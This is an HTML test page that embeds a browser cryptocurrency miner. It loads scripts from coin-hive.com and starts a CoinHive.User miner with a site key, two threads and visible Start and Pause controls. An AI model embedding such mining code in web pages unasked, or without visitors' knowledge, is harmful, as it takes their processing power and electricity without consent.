<!DOCTYPE html>
<html >
<head>
  <meta charset="UTF-8">
  <title>CoinHive Test</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <style>*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;font-size:62.5%}body{margin-bottom:0 0 3em 0;font-size:1.5em;line-height:1.6;font-weight:400;font-family:HelveticaNeue,"Helvetica Neue",Helvetica,Arial,sans-serif;color:#222}img{border:0}.container{position:relative;width:100%;max-width:720px;margin:0 auto;padding:0 20px}.container:after,.row:after{content:"";display:table;clear:both}.column,.columns{width:100%;float:left}@media(min-width:400px){.container{width:85%;padding:0}}@media(min-width:550px){.container{width:80%}.column,.columns{margin-left:4%}.column:first-child,.columns:first-child{margin-left:0}.four.columns{width:30.6666666667%}.six.columns{width:48%}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:2rem;font-weight:300}h2{font-size:3rem;line-height:1.25;letter-spacing:-.1rem}h4{font-size:1.5rem;line-height:1.35;letter-spacing:-.05rem;text-transform:uppercase}a{color:#1e9ee0;text-decoration:none;background-color:transparent}.action{cursor:pointer;color:#1e9ee0;text-decoration:none}.action.active,.action:hover,a.active,a:hover{color:#555}h4.number-label{margin:16px 0 0 0}#miner h2,#miner h4.number-label{color:#aaa}#miner.running h2,#miner.running h4.number-label{color:#555}#mining-stats-container{position:relative;text-align:center;height:96px;border-bottom:1px solid #f0f0f0}#mining-stats-canvas{z-index:1;position:absolute;left:0;top:0;width:100%;height:100%}#mining-controls{z-index:2;position:absolute;left:0;top:0;width:100%;height:100%;padding:32px 0}#mining-start{text-transform:uppercase;font-size:120%;display:inline-block}#miner.running #mining-start{position:relative;z-index:2;display:none}#mining-stop{display:none}#miner.running #mining-controls:hover #mining-stop{position:relative;z-index:2;display:inline-block}.mining-icon{width:32px;height:32px;vertical-align:-37%;margin-right:4px}.mining-icon .mining-stroke{stroke:#1e9ee0}.mining-icon .mining-fill{fill:#1e9ee0}.mining-button:hover .mining-icon .mining-stroke{stroke:#555}.mining-button:hover .mining-icon .mining-fill{fill:#555}#miner.stopped .action{color:#aaa}.mining-divide{font-size:80%;color:#eee}div.claim{text-align:center}img.logo{width:96px;height:96px;margin-bottom:8px}}</style>
</head>

<body>
<div class=container>
<div class="columns six stopped" id=miner>
<div class=row>
<div class="columns four">
<h4 class=number-label>Hashes/s</h4>
<h2 id=mining-hashes-per-second>0.0</h2>
</div>
<div class="columns four">
<h4 class=number-label>Total</h4>
<h2 id=mining-hashes-total>0</h2>
</div>
<div class="columns four">
<h4 class=number-label>Threads</h4>
<h2>
<span id=mining-threads>2</span>
<span class=action id=mining-threads-add>+</span>
<span class=mining-divide>/</span>
<span class=action id=mining-threads-remove>−</span>
</h2>
</div>
</div>
<div id=mining-stats-container>
<canvas id=mining-stats-canvas></canvas>
<div id=mining-controls>
<a href=# class=mining-button id=mining-start>
<svg alt="Start Mining" class="mining-icon play-button" viewBox="0 0 200 200">
<circle class=mining-stroke cx=100 cy=100 fill=none r=90 stroke-width=15 />
<polygon class=mining-fill points="70, 55 70, 145 145, 100"></polygon>
</svg>
Start Mining
</a>
<a href=# class=mining-button id=mining-stop>
<svg alt=Pause class="mining-icon pause-button" viewBox="0 0 200 200">
<circle class=mining-stroke cx=100 cy=100 fill=none r=90 stroke-width=15 />
<rect class=mining-fill height=100 width=20 x=70 y=50 />
<rect class=mining-fill height=100 width=20 x=110 y=50 />
</svg>
</a>
</div>
</div>
</div>
</div>
<script src=https://coin-hive.com/lib/coinhive.min.js></script>
<script src=https://coin-hive.com/media/miner-ui.js></script>
<script>var miner=new CoinHive.User("YO3ehG7jf8KMSAv6J8grsTLVjfA1rF1f", "deadman",{threads:2}),ui=new MinerUI(miner,{container:document.getElementById("miner"),canvas:document.getElementById("mining-stats-canvas"),hashesPerSecond:document.getElementById("mining-hashes-per-second"),hashesPerSecond:document.getElementById("mining-hashes-per-second"),threads:document.getElementById("mining-threads"),threadsAdd:document.getElementById("mining-threads-add"),threadsRemove:document.getElementById("mining-threads-remove"),hashesTotal:document.getElementById("mining-hashes-total"),startButton:document.getElementById("mining-start"),stopButton:document.getElementById("mining-stop")})</script>
</body>
</html>